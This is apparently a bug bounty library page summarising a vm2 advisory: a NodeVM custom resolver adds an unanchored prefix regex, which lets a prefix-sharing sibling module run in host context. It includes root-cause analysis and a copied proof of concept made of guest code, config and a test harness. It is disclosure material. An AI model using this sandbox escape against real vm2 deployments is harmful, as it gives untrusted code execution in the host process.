# vm2: NodeVM custom resolution bypasses external path boundaries

vm2's customResolve appends a raw-prefix regex to externals, so an allowlisted module authorizes a prefix-sharing sibling that runs in host context.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by (vendor credit): rexpository
- Found by: rexpository
- Disclosed: 2026-10-05
- CVE: CVE-2026-100721
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5h3f-q97h-ccvc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5h3f-q97h-ccvc
- Tags: area:oss domain:oss impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:sandbox-escape

**Target:** NodeVM module resolver (lib/resolver-compat.js)
**Root cause:** LegacyResolver.customResolve pushes `new RegExp('^' + escapeRegExp(resolved))` into this.externals with no path separator or end anchor, so a sibling path sharing the string prefix passes isPathAllowedForModule and is loaded via hostRequire.
**Steps:**
1. Configure NodeVM with require.external {modules:['foo'], transitive:false}, root, context:'host', and a custom resolve() returning the foo directory.
2. Guest calls `require('foo')` so customResolve appends `^/…/node_modules/foo` to this.externals.
3. Guest then calls `require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')`; the prefix regex matches and loadJS uses hostRequire.
4. Sibling's top-level child_process call returns PREFIX_PWN, proving host-context execution.
5. Control: requesting the sibling without first resolving foo fails with ENOTFOUND and customCalls=0.
**How found:** Code review of the customResolve branches noticed the appended regex lacked a separator/end boundary, then compared against the already-patched isPathAllowedForModule and externalCache matchers to find the residual filename-side branch.
**Exploitation:** Untrusted guest JS in a host-context NodeVM first requires the allowlisted bare module to seed the externals regex, then requires an absolute path to a prefix-sharing sibling file; that file's top-level code executes in the host process, yielding host code execution.
**Escalation:** Chaining the allowlisted require with an absolute sibling require converts a single allowlisted module into arbitrary host-context file load and code execution.
**Insight:** When a fix adds path-boundary checks to one allowlist matcher, audit every other place that pushes derived regexes into the same authorization set — custom resolver return branches are a separate sink that prefix-anchored fixes miss.

## Proof of concept (copied exactly from the original report)

**Guest code requiring allowlisted foo then prefix-sharing sibling**

```
const foo = require('foo');
module.exports = {
	foo,
	sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};
```

**NodeVM embedder config with custom resolver and host context**

```
const vm = new NodeVM({
	require: {
		external: {modules: ['foo'], transitive: false},
		root: '/tmp/vm2-prefix-case',
		context: 'host',
		resolve(name) {
			return name === 'foo'
				? '/tmp/vm2-prefix-case/node_modules/foo'
				: undefined;
		}
	}
});
```

**Harness runGuest with candidate and control modes**

```
function runGuest(code) {
	return new NodeVM({
		require: {
			external: {modules: ['foo'], transitive: false},
			root,
			context: 'host',
			resolve(moduleName) {
				if (moduleName === 'foo') {
					customCalls++;
					return fooDir;
				}
				return undefined;
			}
		}
	}).run(code, entry);
}

const record = {mode, result: 'invalid'};

try {
	if (mode === 'candidate') {
		const output = runGuest(`
			const foo = require('foo');
			module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
		`);
		record.output = output;
		if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
			record.result = 'violation';
			record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
		} else {
			record.result = 'pass';
		}
	} else if (mode === 'control') {
		try {
			runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
			record.result = 'violation';
			record.signal = 'prefix-sharing sibling loaded before custom resolution';
		} catch (error) {
			record.result = 'pass';
			record.denial = String(error && (error.code || error.message) || error);
		}
	} else {
		record.error = 'unknown mode';
	}
} catch (error) {
	record.result = 'invalid';
	record.error = String(error && (error.stack || error.message) || error);
}

record.customCalls = customCalls;
console.log(JSON.stringify(record));
```

